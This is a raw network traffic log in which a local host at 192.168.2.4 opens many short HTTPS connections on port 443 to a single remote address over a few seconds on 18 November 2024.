Nov 18, 2024 23:03:58.001482964 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001538992 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.001540899 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001544952 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.001559019 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001596928 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.001753092 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.001753092 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.001785994 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.001808882 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.004205942 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.004254103 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.004306078 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.004333019 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.004343033 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.004384041 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.004398108 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.004436016 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.004529953 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.004554987 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.004638910 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.004638910 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.004662037 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.004684925 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.006994009 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.007038116 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.007122993 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.007246971 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.007276058 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.011523008 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.012552023 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.012604952 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.012670040 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.012681961 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.012693882 CET	49742	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.012698889 CET	443	49742	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.014679909 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.014704943 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.014786959 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.014957905 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.014981985 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.026799917 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.026845932 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.026886940 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.026896000 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.026907921 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.026956081 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.027096987 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.027100086 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.027108908 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.027117968 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.029321909 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.029359102 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.029442072 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.029587030 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.029617071 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.757610083 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.758158922 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.758202076 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.758862972 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.758877993 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.760194063 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.760545969 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.760570049 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.761065960 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.761073112 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.771397114 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.771864891 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.771924019 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.772535086 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.772547960 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.780317068 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.780756950 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.780774117 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.781339884 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.781352043 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.785255909 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.785621881 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.785640955 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.786149979 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.786159992 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.889708996 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.889867067 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.889956951 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.892653942 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.892803907 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.892878056 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.893747091 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.893759966 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.893770933 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.893774986 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.894840956 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.894855022 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.894876003 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.894881010 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.897430897 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.897449970 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.897517920 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.897644043 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.897654057 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.897712946 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.897751093 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.898559093 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.898664951 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.898679972 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.902520895 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.902888060 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.902968884 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.903096914 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.903096914 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.903134108 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.903161049 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.905133009 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.905139923 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.905198097 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.905342102 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.905353069 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.915440083 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.915541887 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.915632010 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.915796041 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.915815115 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.915839911 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.915853024 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.917967081 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.917979956 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.918051004 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.918179035 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.918195963 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.918683052 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.918755054 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.919531107 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.919558048 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.919564009 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.919583082 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.919585943 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.921524048 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.921555996 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:58.925429106 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.925534010 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:58.925544977 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.643095970 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.643682957 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.643724918 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.644119978 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.644133091 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.647650957 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.647907972 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.647929907 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.648186922 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.648194075 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.658432961 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.658710957 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.658727884 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.659034967 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.659044981 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.676603079 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.676845074 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.676862955 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.677165985 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.677171946 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.693783045 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.694104910 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.694117069 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.694483995 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.694489956 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.773005009 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.773260117 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.773325920 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.774312973 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.774312973 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.774349928 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.774373055 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.778321981 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.778367996 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.778409958 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.778487921 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.778598070 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.778650999 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.778717041 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.778752089 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.778829098 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.778846025 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.778860092 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.778867960 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.781858921 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.781893969 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.781950951 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.782233953 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.782249928 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.788470984 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.788664103 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.788726091 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.788764954 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.788764954 CET	49750	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.788783073 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.788801908 CET	443	49750	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.791712046 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.791748047 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.791815042 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.791938066 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.791954041 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.808000088 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.808136940 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.808182955 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.808229923 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.808247089 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.808259010 CET	49752	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.808264017 CET	443	49752	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.810735941 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.810791016 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.810854912 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.811022043 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.811049938 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.828008890 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.828248024 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.828294992 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.828314066 CET	49751	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.828320980 CET	443	49751	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.830741882 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.830816984 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:03:59.830881119 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.831113100 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:03:59.831146955 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.517524004 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.517970085 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.517988920 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.518204927 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.518421888 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.518426895 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.518512011 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.518575907 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.518831968 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.518846035 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.525254965 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.525551081 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.525580883 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.525890112 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.525895119 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.556148052 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.557533979 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.557559013 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.558003902 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.558018923 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.560699940 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.561012030 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.561072111 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.561379910 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.561397076 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.652576923 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.652714968 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.652765036 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.652923107 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.652940989 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.652952909 CET	49754	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.652959108 CET	443	49754	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.653029919 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.653366089 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.653429985 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.654021978 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.654066086 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.654099941 CET	49755	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.654115915 CET	443	49755	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.655426979 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.655477047 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.655564070 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.655662060 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.655674934 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.656636000 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.656789064 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.656841040 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.656861067 CET	49753	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.656867981 CET	443	49753	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.657227993 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.657296896 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.657360077 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.657479048 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.657538891 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.659254074 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.659342051 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.659449100 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.659542084 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.659568071 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.686367989 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.686597109 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.686662912 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.686723948 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.686723948 CET	49756	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.686749935 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.686774969 CET	443	49756	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.688282013 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.688348055 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.688441992 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.688534021 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.688555956 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.690576077 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.690661907 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.690716982 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.690773010 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.690773964 CET	49757	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.690800905 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.690826893 CET	443	49757	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.692315102 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.692399025 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:00.692481041 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.692692041 CET	49762	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:00.692724943 CET	443	49762	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.398191929 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.398547888 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.398736954 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.398797035 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.399259090 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.399296999 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.399302959 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.399308920 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.399882078 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.399950027 CET	49759	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.399959087 CET	443	49759	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.400269032 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.400296926 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.400810957 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.400820017 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.419599056 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.420126915 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.420188904 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.420334101 CET	49761	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.420350075 CET	443	49761	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.527530909 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.527667046 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.527770042 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.527915001 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.527951002 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.528006077 CET	49760	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.528023005 CET	443	49760	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.528728962 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.528862000 CET	443	49758	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:01.528964996 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.529172897 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.529172897 CET	49758	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:01.529217005 CET	443	49758	13.107.246.45	192.168.2.4
